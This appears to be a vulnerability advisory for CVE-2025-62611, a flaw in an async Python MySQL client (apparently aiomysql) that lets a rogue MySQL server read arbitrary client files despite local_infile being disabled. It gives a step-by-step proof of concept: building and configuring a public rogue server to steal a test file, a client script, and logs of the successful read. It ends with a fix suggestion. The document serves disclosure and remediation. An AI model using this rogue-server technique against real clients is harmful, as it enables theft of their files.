CVE-2025-62611

The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.

Details

It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.

PoC

First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client, tested with https://github.com/rmb122/rogue_mysql_server

1. Create a file to be stolen by the rogue server: echo "gotcha" > /tmp/my_secret_file.txt
2. Clone the repo: git clone [email protected]:rmb122/rogue_mysql_server.git && cd rogue_mysql_server
3. Build the server: make rogue_mysql_server
4. Generate a sample config: rogue_mysql_server -generate
5. In config.yaml change file_list to ["/tmp/my_secret_file.txt"]
6. Run the server: ./rogue_mysql_server -config config.yaml

Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal:

import asyncio

import aiomysql


loop = asyncio.get_event_loop()


async def test_example():
    conn = await aiomysql.connect(
        host="127.0.0.1",
        port=3306,
        user="root",
        password="",
        db="mysql",
        loop=loop,
        local_infile=0, # note that we explicitly forbid local_infile
    )

    cursor = await conn.cursor()
    await cursor.execute("SELECT 1")
    print(cursor.description)
    r = await cursor.fetchall()
    print(r)
    await cursor.close()
    conn.close()


loop.run_until_complete(test_example())

The rogue server will output log messages indicating successful file read and save the contents in the loot/ directory

level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"

Fix suggestion

Can be fixed by porting relevant changes from PyMySQL, https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267